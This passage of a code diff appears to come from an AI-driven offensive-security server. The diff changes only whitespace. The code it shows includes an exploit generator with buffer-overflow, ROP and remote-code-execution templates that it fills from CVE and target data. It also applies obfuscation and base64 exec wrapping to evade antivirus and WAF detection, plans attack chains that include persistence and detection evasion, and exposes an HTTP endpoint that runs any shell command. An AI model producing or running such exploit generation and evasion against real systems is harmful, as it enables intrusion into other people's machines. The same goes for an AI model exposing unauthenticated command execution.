 {ModernVisualEngine.COLORS['BOLD']}│{ModernVisualEngine.COLORS['RESET']} {status_color}📈 Status:{ModernVisualEngine.COLORS['RESET']} {'SUCCESS' if success else 'FAILED'} | Cached: Yes
 {ModernVisualEngine.COLORS['MATRIX_GREEN']}{ModernVisualEngine.COLORS['BOLD']}╰─────────────────────────────────────────────────────────────────────────────╯{ModernVisualEngine.COLORS['RESET']}
 """
-            
+
             # Log the beautiful summary
             for line in results_summary.strip().split('\n'):
                 if line.strip():
                     logger.info(line)
-            
+
             return {
                 "stdout": self.stdout_data,
                 "stderr": self.stderr_data,
@@ -6323,15 +6323,15 @@ class EnhancedCommandExecutor:
                 "execution_time": self.end_time - self.start_time if self.end_time else 0,
                 "timestamp": datetime.now().isoformat()
             }
-        
+
         except Exception as e:
             self.end_time = time.time()
             execution_time = self.end_time - self.start_time if self.start_time else 0
-            
+
             logger.error(f"💥 ERROR: Command execution failed: {str(e)}")
             logger.error(f"🔍 TRACEBACK: {traceback.format_exc()}")
             telemetry.record_execution(False, execution_time)
-            
+
             return {
                 "stdout": self.stdout_data,
                 "stderr": f"Error executing command: {str(e)}\n{self.stderr_data}",
@@ -6350,24 +6350,24 @@ class EnhancedCommandExecutor:
 # ============================================================================
 # AI-POWERED EXPLOIT GENERATION SYSTEM (v6.0 ENHANCEMENT)
 # ============================================================================
-# 
+#
 # This section contains advanced AI-powered exploit generation capabilities
 # for automated vulnerability exploitation and proof-of-concept development.
-# 
+#
 # Features:
 # - Automated exploit template generation from CVE data
 # - Multi-architecture support (x86, x64, ARM)
 # - Evasion technique integration
 # - Custom payload generation
 # - Exploit effectiveness scoring
-# 
+#
 # ============================================================================
 
 
 
 class AIExploitGenerator:
     """AI-powered exploit development and enhancement system"""
-    
+
     def __init__(self):
         # Extend existing payload templates
         self.exploit_templates = {
@@ -6384,15 +6384,15 @@ def create_exploit():
     # Vulnerability details from {cve_id}
     target_ip = "{target_ip}"
     target_port = {target_port}
-    
+
     # Buffer overflow payload
     padding = "A" * {offset}
     eip_control = struct.pack("<I", {ret_address})
     nop_sled = "\\x90" * {nop_size}
-    
+
     # Shellcode ({shellcode_type})
     shellcode = {shellcode}
-    
+
     exploit = padding + eip_control + nop_sled + shellcode
     return exploit
 
@@ -6412,16 +6412,16 @@ import socket
 def create_rop_exploit():
     target_ip = "{target_ip}"
     target_port = {target_port}
-    
+
     # ROP chain for x64 exploitation
     padding = "A" * {offset}
     rop_chain = [
         {rop_gadgets}
     ]
-    
+
     rop_payload = "".join([struct.pack("<Q", addr) for addr in rop_chain])
     shellcode = {shellcode}
-    
+
     exploit = padding + rop_payload + shellcode
     return exploit
                 """
@@ -6439,24 +6439,24 @@ def exploit_rce(target_url, command):
         "User-Agent": "Mozilla/5.0 (Compatible Exploit)",
         "Content-Type": "{content_type}"
     }}
-    
+
     # Injection payload
     payload = {injection_payload}
-    
+
     try:
         response = requests.post(target_url, data=payload, headers=headers, timeout=10)
         if response.status_code == 200:
             return response.text
     except Exception as e:
         print(f"Exploit failed: {{e}}")
-    
+
     return None
 
 if __name__ == "__main__":
     if len(sys.argv) != 3:
         print("Usage: python exploit.py <target_url> <command>")
         sys.exit(1)
-    
+
     result = exploit_rce(sys.argv[1], sys.argv[2])
     if result:
         print("Exploit successful!")
@@ -6482,43 +6482,43 @@ def create_malicious_payload(command):
 
 def send_exploit(target_url, command):
     payload = create_malicious_payload(command)
-    
+
     data = {{
         "{parameter_name}": payload
     }}
-    
+
     response = requests.post(target_url, data=data)
     return response.text
             """
         }
-        
+
         self.evasion_techniques = {
             "encoding": ["url", "base64", "hex", "unicode"],
             "obfuscation": ["variable_renaming", "string_splitting", "comment_injection"],
             "av_evasion": ["encryption", "packing", "metamorphism"],
             "waf_bypass": ["case_variation", "parameter_pollution", "header_manipulation"]
         }
-    
+
     def generate_exploit_from_cve(self, cve_data, target_info):
         """Generate working exploit from CVE data"""
         try:
             cve_id = cve_data.get("cve_id", "")
             description = cve_data.get("description", "").lower()
-            
+
             # Determine vulnerability type
             vuln_type = self._classify_vulnerability(description)
             exploit_template = self._select_template(vuln_type, target_info)
-            
+
             # Generate exploit parameters
             exploit_params = self._generate_exploit_parameters(cve_data, target_info, vuln_type)
-            
+
             # Fill template with parameters
             exploit_code = exploit_template.format(**exploit_params)
-            
+
             # Apply evasion techniques if requested
             if target_info.get("evasion_level", "none") != "none":
                 exploit_code = self._apply_evasion_techniques(exploit_code, target_info)
-            
+
             return {
                 "success": True,
                 "cve_id": cve_id,
@@ -6528,11 +6528,11 @@ def send_exploit(target_url, command):
                 "instructions": self._generate_usage_instructions(vuln_type, exploit_params),
                 "evasion_applied": target_info.get("evasion_level", "none")
             }
-            
+
         except Exception as e:
             logger.error(f"Error generating exploit: {str(e)}")
             return {"success": False, "error": str(e)}
-    
+
     def _classify_vulnerability(self, description):
         """Classify vulnerability type from description"""
         if any(keyword in description for keyword in ["buffer overflow", "heap overflow", "stack overflow"]):
@@ -6547,7 +6547,7 @@ def send_exploit(target_url, command):
             return "xss"
         else:
             return "generic"
-    
+
     def _select_template(self, vuln_type, target_info):
         """Select appropriate exploit template"""
         if vuln_type == "buffer_overflow":
@@ -6558,7 +6558,7 @@ def send_exploit(target_url, command):
             return self.exploit_templates[vuln_type]
         else:
             return "# Generic exploit template for {cve_id}\n# Manual development required"
-    
+
     def _generate_exploit_parameters(self, cve_data, target_info, vuln_type):
         """Generate parameters for exploit template"""
         params = {
@@ -6568,7 +6568,7 @@ def send_exploit(target_url, command):
             "target_port": target_info.get("target_port", 80),
             "command": target_info.get("command", "id"),
         }
-        
+
         if vuln_type == "buffer_overflow":
             params.update({
                 "offset": target_info.get("offset", 268),
@@ -6584,13 +6584,13 @@ def send_exploit(target_url, command):
                 "injection_payload": target_info.get("injection_payload", '{"cmd": command}'),
                 "parameter_name": target_info.get("parameter_name", "data")
             })
-        
+
         return params
-    
+
     def _apply_evasion_techniques(self, exploit_code, target_info):
         """Apply evasion techniques to exploit code"""
         evasion_level = target_info.get("evasion_level", "basic")
-        
+
         if evasion_level == "basic":
             # Simple string obfuscation
             exploit_code = exploit_code.replace('"', "'")
@@ -6598,9 +6598,9 @@ def send_exploit(target_url, command):
         elif evasion_level == "advanced":
             # Advanced obfuscation
             exploit_code = self._advanced_obfuscation(exploit_code)
-        
+
         return exploit_code
-    
+
     def _advanced_obfuscation(self, code):
         """Apply advanced obfuscation techniques"""
         # This is a simplified version - real implementation would be more sophisticated
@@ -6610,7 +6610,7 @@ import base64
 exec(base64.b64decode('{base64.b64encode(code.encode()).decode()}'))
         """
         return obfuscated
-    
+
     def _generate_usage_instructions(self, vuln_type, params):
         """Generate usage instructions for the exploit"""
         instructions = [
@@ -6626,7 +6626,7 @@ exec(base64.b64decode('{base64.b64encode(code.encode()).decode()}'))
             "## Testing:",
             f"python3 exploit.py {params.get('target_ip', '')} {params.get('target_port', '')}"
         ]
-        
+
         if vuln_type == "buffer_overflow":
             instructions.extend([
                 "",
@@ -6636,12 +6636,12 @@ exec(base64.b64decode('{base64.b64encode(code.encode()).decode()}'))
                 "- Verify addresses match target binary",
                 "- Disable ASLR for testing: echo 0 > /proc/sys/kernel/randomize_va_space"
             ])
-        
+
         return "\n".join(instructions)
 
 class VulnerabilityCorrelator:
     """Correlate vulnerabilities for multi-stage attack chain discovery"""
-    
+
     def __init__(self):
         self.attack_patterns = {
             "privilege_escalation": ["local", "kernel", "suid", "sudo"],
@@ -6650,28 +6650,28 @@ class VulnerabilityCorrelator:
             "lateral_movement": ["smb", "wmi", "ssh", "rdp"],
             "data_exfiltration": ["file", "database", "memory", "network"]
         }
-        
+
         self.software_relationships = {
             "windows": ["iis", "office", "exchange", "sharepoint"],
             "linux": ["apache", "nginx", "mysql", "postgresql"],
             "web": ["php", "nodejs", "python", "java"],
             "database": ["mysql", "postgresql", "oracle", "mssql"]
         }
-    
+
     def find_attack_chains(self, target_software, max_depth=3):
         """Find multi-vulnerability attack chains"""
         try:
             # This is a simplified implementation
             # Real version would use graph algorithms and ML
-            
+
             chains = []
-            
+
             # Example attack chain discovery logic
             base_software = target_software.lower()
-            
+
             # Find initial access vulnerabilities
             initial_vulns = self._find_vulnerabilities_by_pattern(base_software, "remote_execution")
-            
+
             for initial_vuln in initial_vulns[:3]:  # Limit for demo
                 chain = {
                     "chain_id": f"chain_{len(chains) + 1}",
@@ -6687,7 +6687,7 @@ class VulnerabilityCorrelator:
                     "overall_probability": 0.75,
                     "complexity": "MEDIUM"
                 }
-                
+
                 # Find privilege escalation
                 priv_esc_vulns = self._find_vulnerabilities_by_pattern(base_software, "privilege_escalation")
                 if priv_esc_vulns:
@@ -6698,7 +6698,7 @@ class VulnerabilityCorrelator:
                         "success_probability": 0.60
                     })
                     chain["overall_probability"] *= 0.60
-                
+
                 # Find persistence
                 persistence_vulns = self._find_vulnerabilities_by_pattern(base_software, "persistence")
                 if persistence_vulns and len(chain["stages"]) < max_depth:
@@ -6709,9 +6709,9 @@ class VulnerabilityCorrelator:
                         "success_probability": 0.80
                     })
                     chain["overall_probability"] *= 0.80
-                
+
                 chains.append(chain)
-            
+
             return {
                 "success": True,
                 "target_software": target_software,
@@ -6719,11 +6719,11 @@ class VulnerabilityCorrelator:
                 "attack_chains": chains,
                 "recommendation": self._generate_chain_recommendations(chains)
             }
-            
+
         except Exception as e:
             logger.error(f"Error finding attack chains: {str(e)}")
             return {"success": False, "error": str(e)}
-    
+
     def _find_vulnerabilities_by_pattern(self, software, pattern_type):
         """Find vulnerabilities matching attack pattern"""
         # Simplified mock data - real implementation would query CVE database
@@ -6741,14 +6741,14 @@ class VulnerabilityCorrelator:
                 "exploitability": "MEDIUM"
             }
         ]
-        
+
         return mock_vulnerabilities
-    
+
     def _generate_chain_recommendations(self, chains):
         """Generate recommendations for attack chains"""
         if not chains:
             return "No viable attack chains found for target"
-        
+
         recommendations = [
             f"Found {len(chains)} potential attack chains",
             f"Highest probability chain: {max(chains, key=lambda x: x['overall_probability'])['overall_probability']:.2%}",
@@ -6757,7 +6757,7 @@ class VulnerabilityCorrelator:
             "- Prepare fallback methods for each stage",
             "- Consider detection evasion at each stage"
         ]
-        
+
         return "\n".join(recommendations)
 
 # Global intelligence managers
@@ -6768,60 +6768,60 @@ vulnerability_correlator = VulnerabilityCorrelator()
 def execute_command(command: str, use_cache: bool = True) -> Dict[str, Any]:
     """
     Execute a shell command with enhanced features
-    
+
     Args:
         command: The command to execute
         use_cache: Whether to use caching for this command
-        
+
     Returns:
         A dictionary containing the stdout, stderr, return code, and metadata
     """
-    
+
     # Check cache first
     if use_cache:
         cached_result = cache.get(command, {})
         if cached_result:
             return cached_result
-    
+
     # Execute command
     executor = EnhancedCommandExecutor(command)
     result = executor.execute()
-    
+
     # Cache successful results
     if use_cache and result.get("success", False):
         cache.set(command, {}, result)
-    
+
     return result
 
-def execute_command_with_recovery(tool_name: str, command: str, parameters: Dict[str, Any] = None, 
+def execute_command_with_recovery(tool_name: str, command: str, parameters: Dict[str, Any] = None,
                                  use_cache: bool = True, max_attempts: int = 3) -> Dict[str, Any]:
     """
     Execute a command with intelligent error handling and recovery
-    
+
     Args:
         tool_name: Name of the tool being executed
         command: The command to execute
         parameters: Tool parameters for context
         use_cache: Whether to use caching
         max_attempts: Maximum number of recovery attempts
-        
+
     Returns:
         A dictionary containing execution results with recovery information
     """
     if parameters is None:
         parameters = {}
-    
+
     attempt_count = 0
     last_error = None
     recovery_history = []
-    
+
     while attempt_count < max_attempts:
         attempt_count += 1
-        
+
         try:
             # Execute the command
             result = execute_command(command, use_cache)
-            
+
             # Check if execution was successful
             if result.get("success", False):
                 # Add recovery information to successful result
@@ -6831,11 +6831,11 @@ def execute_command_with_recovery(tool_name: str, command: str, parameters: Dict
                     "recovery_history": recovery_history
                 }
                 return result
-            
+
             # Command failed, determine if we should attempt recovery
             error_message = result.get("stderr", "Unknown error")
             exception = Exception(error_message)
-            
+
             # Create context for error handler
             context = {
                 "target": parameters.get("target", "unknown"),
@@ -6843,7 +6843,7 @@ def execute_command_with_recovery(tool_name: str, command: str, parameters: Dict
                 "attempt_count": attempt_count,
                 "command": command
             }
-            
+
             # Get recovery strategy from error handler
             recovery_strategy = error_handler.handle_tool_failure(tool_name, exception, context)
             recovery_history.append({
@@ -6852,35 +6852,35 @@ def execute_command_with_recovery(tool_name: str, command: str, parameters: Dict
                 "recovery_action": recovery_strategy.action.value,
                 "timestamp": datetime.now().isoformat()
             })
-            
+
             # Apply recovery strategy
             if recovery_strategy.action == RecoveryAction.RETRY_WITH_BACKOFF:
                 delay = recovery_strategy.parameters.get("initial_delay", 5)
                 backoff = recovery_strategy.parameters.get("max_delay", 60)
                 actual_delay = min(delay * (recovery_strategy.backoff_multiplier ** (attempt_count - 1)), backoff)
-                
+
                 retry_info = f'Retrying in {actual_delay}s (attempt {attempt_count}/{max_attempts})'
                 logger.info(f"{ModernVisualEngine.format_tool_status(tool_name, 'RECOVERY', retry_info)}")
                 time.sleep(actual_delay)
                 continue
-                
+
             elif recovery_strategy.action == RecoveryAction.RETRY_WITH_REDUCED_SCOPE:
                 # Adjust parameters to reduce scope
                 adjusted_params = error_handler.auto_adjust_parameters(
-                    tool_name, 
+                    tool_name,
                     error_handler.classify_error(error_message, exception),
                     parameters
                 )
-                
+
                 # Rebuild command with adjusted parameters
                 command = _rebuild_command_with_params(tool_name, command, adjusted_params)
                 logger.info(f"🔧 Retrying {tool_name} with reduced scope")
                 continue
-                
+
             elif recovery_strategy.action == RecoveryAction.SWITCH_TO_ALTERNATIVE_TOOL:
                 # Get alternative tool
                 alternative_tool = error_handler.get_alternative_tool(tool_name, recovery_strategy.parameters)
-                
+
                 if alternative_tool:
                     switch_info = f'Switching to alternative: {alternative_tool}'
                     logger.info(f"{ModernVisualEngine.format_tool_status(tool_name, 'RECOVERY', switch_info)}")
@@ -6895,17 +6895,17 @@ def execute_command_with_recovery(tool_name: str, command: str, parameters: Dict
                     return result
                 else:
                     logger.warning(f"⚠️  No alternative tool found for {tool_name}")
-                    
+
             elif recovery_strategy.action == RecoveryAction.ADJUST_PARAMETERS:
                 # Adjust parameters based on error type
                 error_type = error_handler.classify_error(error_message, exception)
                 adjusted_params = error_handler.auto_adjust_parameters(tool_name, error_type, parameters)
-                
+
                 # Rebuild command with adjusted parameters
                 command = _rebuild_command_with_params(tool_name, command, adjusted_params)
                 logger.info(f"🔧 Retrying {tool_name} with adjusted parameters")
                 continue
-                
+
             elif recovery_strategy.action == RecoveryAction.ESCALATE_TO_HUMAN:
                 # Create error context for escalation
                 error_context = ErrorContext(
@@ -6919,12 +6919,12 @@ def execute_command_with_recovery(tool_name: str, command: str, parameters: Dict
                     stack_trace="",
                     system_resources=error_handler._get_system_resources()
                 )
-                
+
                 escalation_data = error_handler.escalate_to_human(
-                    error_context, 
+                    error_context,
                     recovery_strategy.parameters.get("urgency", "medium")
                 )
-                
+
                 result["human_escalation"] = escalation_data
                 result["recovery_info"] = {
                     "attempts_made": attempt_count,
@@ -6933,16 +6933,16 @@ def execute_command_with_recovery(tool_name: str, command: str, parameters: Dict
                     "final_action": "human_escalation"
                 }
                 return result
-                
+
             elif recovery_strategy.action == RecoveryAction.GRACEFUL_DEGRADATION:
                 # Apply graceful degradation
                 operation = _determine_operation_type(tool_name)
                 degraded_result = degradation_manager.handle_partial_failure(
-                    operation, 
-                    result, 
+                    operation,
+                    result,
                     [tool_name]
                 )
-                
+
                 degraded_result["recovery_info"] = {
                     "attempts_made": attempt_count,
                     "recovery_applied": True,
@@ -6950,7 +6950,7 @@ def execute_command_with_recovery(tool_name: str, command: str, parameters: Dict
                     "final_action": "graceful_degradation"
                 }
                 return degraded_result
-                
+
             elif recovery_strategy.action == RecoveryAction.ABORT_OPERATION:
                 logger.error(f"🛑 Aborting {tool_name} operation after {attempt_count} attempts")
                 result["recovery_info"] = {
@@ -6960,13 +6960,13 @@ def execute_command_with_recovery(tool_name: str, command: str, parameters: Dict
                     "final_action": "operation_aborted"
                 }
                 return result
-            
+
             last_error = exception
-            
+
         except Exception as e:
             last_error = e
             logger.error(f"💥 Unexpected error in recovery attempt {attempt_count}: {str(e)}")
-            
+
             # If this is the last attempt, escalate to human
             if attempt_count >= max_attempts:
                 error_context = ErrorContext(
@@ -6980,9 +6980,9 @@ def execute_command_with_recovery(tool_name: str, command: str, parameters: Dict
                     stack_trace=traceback.format_exc(),
                     system_resources=error_handler._get_system_resources()
                 )
-                
+
                 escalation_data = error_handler.escalate_to_human(error_context, "high")
-                
+
                 return {
                     "success": False,
                     "error": str(e),
@@ -6994,7 +6994,7 @@ def execute_command_with_recovery(tool_name: str, command: str, parameters: Dict
                         "final_action": "human_escalation_after_failure"
                     }
                 }
-    
+
     # All attempts exhausted
     logger.error(f"🚫 All recovery attempts exhausted for {tool_name}")
     return {
@@ -7013,7 +7013,7 @@ def _rebuild_command_with_params(tool_name: str, original_command: str, new_para
     # This is a simplified implementation - in practice, you'd need tool-specific logic
     # For now, we'll just append new parameters
     additional_args = []
-    
+
     for key, value in new_params.items():
         if key == "timeout" and tool_name in ["nmap", "gobuster", "nuclei"]:
             additional_args.append(f"--timeout {value}")
@@ -7027,17 +7027,17 @@ def _rebuild_command_with_params(tool_name: str, original_command: str, new_para
             additional_args.append(f"-c {value}")
         elif key == "rate-limit" and tool_name == "nuclei":
             additional_args.append(f"-rl {value}")
-    
+
     if additional_args:
         return f"{original_command} {' '.join(additional_args)}"
-    
+
     return original_command
 
 def _determine_operation_type(tool_name: str) -> str:
     """Determine operation type based on tool name"""
     operation_mapping = {
         "nmap": "network_discovery",
-        "rustscan": "network_discovery", 
+        "rustscan": "network_discovery",
         "masscan": "network_discovery",
         "gobuster": "web_discovery",
         "feroxbuster": "web_discovery",
@@ -7053,85 +7053,85 @@ def _determine_operation_type(tool_name: str) -> str:
         "paramspider": "parameter_discovery",
         "x8": "parameter_discovery"
     }
-    
+
     return operation_mapping.get(tool_name, "unknown_operation")
 
 # File Operations Manager
 class FileOperationsManager:
     """Handle file operations with security and validation"""
-    
+
     def __init__(self, base_dir: str = "/tmp/hexstrike_files"):
         self.base_dir = Path(base_dir)
         self.base_dir.mkdir(exist_ok=True)
         self.max_file_size = 100 * 1024 * 1024  # 100MB
-    
+
     def create_file(self, filename: str, content: str, binary: bool = False) -> Dict[str, Any]:
         """Create a file with the specified content"""
         try:
             file_path = self.base_dir / filename
             file_path.parent.mkdir(parents=True, exist_ok=True)
-            
+
             if len(content.encode()) > self.max_file_size:
                 return {"success": False, "error": f"File size exceeds {self.max_file_size} bytes"}
-            
+
             mode = "wb" if binary else "w"
             with open(file_path, mode) as f:
                 if binary:
                     f.write(content.encode() if isinstance(content, str) else content)
                 else:
                     f.write(content)
-            
+
             logger.info(f"📄 Created file: {filename} ({len(content)} bytes)")
             return {"success": True, "path": str(file_path), "size": len(content)}
-            
+
         except Exception as e:
             logger.error(f"❌ Error creating file {filename}: {e}")
             return {"success": False, "error": str(e)}
-    
+
     def modify_file(self, filename: str, content: str, append: bool = False) -> Dict[str, Any]:
         """Modify an existing file"""
         try:
             file_path = self.base_dir / filename
             if not file_path.exists():
                 return {"success": False, "error": "File does not exist"}
-            
+
             mode = "a" if append else "w"
             with open(file_path, mode) as f:
                 f.write(content)
-            
+
             logger.info(f"✏️  Modified file: {filename}")
             return {"success": True, "path": str(file_path)}
-            
+
         except Exception as e:
             logger.error(f"❌ Error modifying file {filename}: {e}")
             return {"success": False, "error": str(e)}
-    
+
     def delete_file(self, filename: str) -> Dict[str, Any]:
         """Delete a file or directory"""
         try:
             file_path = self.base_dir / filename
             if not file_path.exists():
                 return {"success": False, "error": "File does not exist"}
-            
+
             if file_path.is_dir():
                 shutil.rmtree(file_path)
             else:
                 file_path.unlink()
-            
+
             logger.info(f"🗑️  Deleted: {filename}")
             return {"success": True}
-            
+
         except Exception as e:
             logger.error(f"❌ Error deleting {filename}: {e}")
             return {"success": False, "error": str(e)}
-    
+
     def list_files(self, directory: str = ".") -> Dict[str, Any]:
         """List files in a directory"""
         try:
             dir_path = self.base_dir / directory
             if not dir_path.exists():
                 return {"success": False, "error": "Directory does not exist"}
-            
+
             files = []
             for item in dir_path.iterdir():
                 files.append({
@@ -7140,9 +7140,9 @@ class FileOperationsManager:
                     "size": item.stat().st_size if item.is_file() else 0,
                     "modified": datetime.fromtimestamp(item.stat().st_mtime).isoformat()
                 })
-            
+
             return {"success": True, "files": files}
-            
+
         except Exception as e:
             logger.error(f"❌ Error listing files in {directory}: {e}")
             return {"success": False, "error": str(e)}
@@ -7155,87 +7155,87 @@ file_manager = FileOperationsManager()
 @app.route("/health", methods=["GET"])
 def health_check():
     """Health check endpoint with comprehensive tool detection"""
-    
+
     essential_tools = [
         "nmap", "gobuster", "dirb", "nikto", "sqlmap", "hydra", "john", "hashcat"
     ]
-    
+
     network_tools = [
         "rustscan", "masscan", "autorecon", "nbtscan", "arp-scan", "responder",
         "nxc", "enum4linux-ng", "rpcclient", "enum4linux"
     ]
-    
+
     web_security_tools = [
         "ffuf", "feroxbuster", "dirsearch", "dotdotpwn", "xsser", "wfuzz",
         "gau", "waybackurls", "arjun", "paramspider", "x8", "jaeles", "dalfox",
         "httpx", "wafw00f", "burpsuite", "zaproxy", "katana", "hakrawler"
     ]
-    
+
     vuln_scanning_tools = [
         "nuclei", "wpscan", "graphql-scanner", "jwt-analyzer"
     ]
-    
+
     password_tools = [
         "medusa", "patator", "hash-identifier", "ophcrack", "hashcat-utils"
     ]
-    
+
     binary_tools = [
         "gdb", "radare2", "binwalk", "ropgadget", "checksec", "objdump",
         "ghidra", "pwntools", "one-gadget", "ropper", "angr", "libc-database",
         "pwninit"
     ]
-    
+
     forensics_tools = [
         "volatility3", "vol", "steghide", "hashpump", "foremost", "exiftool",
         "strings", "xxd", "file", "photorec", "testdisk", "scalpel", "bulk-extractor",
         "stegsolve", "zsteg", "outguess"
     ]
-    
+
     cloud_tools = [
         "prowler", "scout-suite", "trivy", "kube-hunter", "kube-bench",
         "docker-bench-security", "checkov", "terrascan", "falco", "clair"
     ]
-    
+
     osint_tools = [
         "amass", "subfinder", "fierce", "dnsenum", "theharvester", "sherlock",
         "social-analyzer", "recon-ng", "maltego", "spiderfoot", "shodan-cli",
         "censys-cli", "have-i-been-pwned"
     ]
-    
+
     exploitation_tools = [
         "metasploit", "exploit-db", "searchsploit"
     ]
-    
+
     api_tools = [
         "api-schema-analyzer", "postman", "insomnia", "curl", "httpie", "anew", "qsreplace", "uro"
     ]
-    
+
     wireless_tools = [
         "kismet", "wireshark", "tshark", "tcpdump"
     ]
-    
+
     additional_tools = [
         "smbmap", "volatility", "sleuthkit", "autopsy", "evil-winrm",
         "paramspider", "airmon-ng", "airodump-ng", "aireplay-ng", "aircrack-ng",
         "msfvenom", "msfconsole", "graphql-scanner", "jwt-analyzer"
     ]
-    
+
     all_tools = (
         essential_tools + network_tools + web_security_tools + vuln_scanning_tools +
         password_tools + binary_tools + forensics_tools + cloud_tools +
         osint_tools + exploitation_tools + api_tools + wireless_tools + additional_tools
     )
     tools_status = {}
-    
+
     for tool in all_tools:
         try:
             result = execute_command(f"which {tool}", use_cache=True)
             tools_status[tool] = result["success"]
         except:
             tools_status[tool] = False
-    
+
     all_essential_tools_available = all(tools_status[tool] for tool in essential_tools)
-    
+
     category_stats = {
         "essential": {"total": len(essential_tools), "available": sum(1 for tool in essential_tools if tools_status.get(tool, False))},
         "network": {"total": len(network_tools), "available": sum(1 for tool in network_tools if tools_status.get(tool, False))},
@@ -7251,7 +7251,7 @@ def health_check():
         "wireless": {"total": len(wireless_tools), "available": sum(1 for tool in wireless_tools if tools_status.get(tool, False))},
         "additional": {"total": len(additional_tools), "available": sum(1 for tool in additional_tools if tools_status.get(tool, False))}
     }
-    
+
     return jsonify({
         "status": "healthy",
         "message": "HexStrike AI Tools API Server is operational",
@@ -7273,13 +7273,13 @@ def generic_command():
         params = request.json
         command = params.get("command", "")
         use_cache = params.get("use_cache", True)
-        
+
         if not command:
             logger.warning("⚠️  Command endpoint called without command parameter")
             return jsonify({
                 "error": "Command parameter is required"
             }), 400
-        
+
         result = execute_command(command, use_cache=use_cache)
         return jsonify(result)
     except Exception as e:
@@ -7299,10 +7299,10 @@ def create_file():
         filename = params.get("filename", "")
         content = params.get("content", "")
         binary = params.get("binary", False)
-        
+
         if not filename:
             return jsonify({"error": "Filename is required"}), 400
-        
+
         result = file_manager.create_file(filename, content, binary)
         return jsonify(result)
     except Exception as e:
@@ -7317,10 +7317,10 @@ def modify_file():
         filename = params.get("filename", "")
         content = params.get("content", "")
         append = params.get("append", False)
-        
+
         if not filename:
             return jsonify({"error": "Filename is required"}), 400
-        
+
         result = file_manager.modify_file(filename, content, append)
         return jsonify(result)
     except Exception as e:
@@ -7333,10 +7333,10 @@ def delete_file():
     try:
         params = request.json
         filename = params.get("filename", "")
-        
+
         if not filename:
             return jsonify({"error": "Filename is required"}), 400
-        
+
         result = file_manager.delete_file(filename)
         return jsonify(result)
     except Exception as e:
@@ -7364,10 +7364,10 @@ def generate_payload():
         size = params.get("size", 1024)
         pattern = params.get("pattern", "A")
         filename = params.get("filename", f"payload_{int(time.time())}")
-        
+
         if size > 100 * 1024 * 1024:  # 100MB limit
             return jsonify({"error": "Payload size too large (max 100MB)"}), 400
-        
+
         if payload_type == "buffer":
             content = pattern * (size // len(pattern))
         elif payload_type == "cyclic":
@@ -7382,14 +7382,14 @@ def generate_payload():
             content = ''.join(random.choices(string.ascii_letters + string.digits, k=size))
         else:
             return jsonify({"error": "Invalid payload type"}), 400
-        
+
         result = file_manager.create_file(filename, content)
         result["payload_info"] = {
             "type": payload_type,
             "size": size,
             "pattern": pattern
         }
-        
+
         logger.info(f"🎯 Generated {payload_type} payload: {filename} ({size} bytes)")
         return jsonify(result)
     except Exception as e:
@@ -7425,18 +7425,18 @@ def list_processes():
     """List all active processes"""
     try:
         processes = ProcessManager.list_active_processes()
-        
+
         # Add calculated fields for each process
         for pid, info in processes.items():
             runtime = time.time() - info["start_time"]
             info["runtime_formatted"] = f"{runtime:.1f}s"
-            
+
             if info["progress"] > 0:
                 eta = (runtime / info["progress"]) * (1.0 - info["progress"])
                 info["eta_formatted"] = f"{eta:.1f}s"
             else:
                 info["eta_formatted"] = "Unknown"
-        
+
         return jsonify({
             "success": True,
             "active_processes": processes,
@@ -7451,18 +7451,18 @@ def get_process_status(pid):
     """Get status of a specific process"""
     try:
         process_info = ProcessManager.get_process_status(pid)
-        
+
         if process_info:
             # Add calculated fields
             runtime = time.time() - process_info["start_time"]
             process_info["runtime_formatted"] = f"{runtime:.1f}s"
-            
+
             if process_info["progress"] > 0:
                 eta = (runtime / process_info["progress"]) * (1.0 - process_info["progress"])
                 process_info["eta_formatted"] = f"{eta:.1f}s"
             else:
                 process_info["eta_formatted"] = "Unknown"
-            
+
             return jsonify({
                 "success": True,
                 "process": process_info
@@ -7472,7 +7472,7 @@ def get_process_status(pid):
                 "success": False,
                 "error": f"Process {pid} not found"
             }), 404
-            
+
     except Exception as e:
         logger.error(f"💥 Error getting process status: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -7482,7 +7482,7 @@ def terminate_process(pid):
     """Terminate a specific process"""
     try:
         success = ProcessManager.terminate_process(pid)
-        
+
         if success:
             logger.info(f"🛑 Process {pid} terminated successfully")
             return jsonify({
@@ -7494,7 +7494,7 @@ def terminate_process(pid):
                 "success": False,
                 "error": f"Failed to terminate process {pid} or process not found"
             }), 404
-            
+
     except Exception as e:
         logger.error(f"💥 Error terminating process {pid}: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -7504,7 +7504,7 @@ def pause_process(pid):
     """Pause a specific process"""
     try:
         success = ProcessManager.pause_process(pid)
-        
+
         if success:
             logger.info(f"⏸️ Process {pid} paused successfully")
             return jsonify({
@@ -7516,7 +7516,7 @@ def pause_process(pid):
                 "success": False,
                 "error": f"Failed to pause process {pid} or process not found"
             }), 404
-            
+
     except Exception as e:
         logger.error(f"💥 Error pausing process {pid}: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -7526,7 +7526,7 @@ def resume_process(pid):
     """Resume a paused process"""
     try:
         success = ProcessManager.resume_process(pid)
-        
+
         if success:
             logger.info(f"▶️ Process {pid} resumed successfully")
             return jsonify({
@@ -7538,7 +7538,7 @@ def resume_process(pid):
                 "success": False,
                 "error": f"Failed to resume process {pid} or process not found"
             }), 404
-            
+
     except Exception as e:
         logger.error(f"💥 Error resuming process {pid}: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -7549,10 +7549,10 @@ def process_dashboard():
     try:
         processes = ProcessManager.list_active_processes()
         current_time = time.time()
-        
+
         # Create beautiful dashboard using ModernVisualEngine
         dashboard_visual = ModernVisualEngine.create_live_dashboard(processes)
-        
+
         dashboard = {
             "timestamp": datetime.now().isoformat(),
             "total_processes": len(processes),
@@ -7564,19 +7564,19 @@ def process_dashboard():
                 "active_connections": len(psutil.net_connections())
             }
         }
-        
+
         for pid, info in processes.items():
             runtime = current_time - info["start_time"]
             progress_fraction = info.get("progress", 0)
-            
+
             # Create beautiful progress bar using ModernVisualEngine
             progress_bar = ModernVisualEngine.render_progress_bar(
-                progress_fraction, 
-                width=25, 
+                progress_fraction,
+                width=25,
                 style='cyber',
                 eta=info.get("eta", 0)
             )
-            
+
             process_status = {
                 "pid": pid,
                 "command": info["command"][:60] + "..." if len(info["command"]) > 60 else info["command"],
@@ -7589,9 +7589,9 @@ def process_dashboard():
                 "last_output": info.get("last_output", "")[:100]
             }
             dashboard["processes"].append(process_status)
-        
+
         return jsonify(dashboard)
-        
+
     except Exception as e:
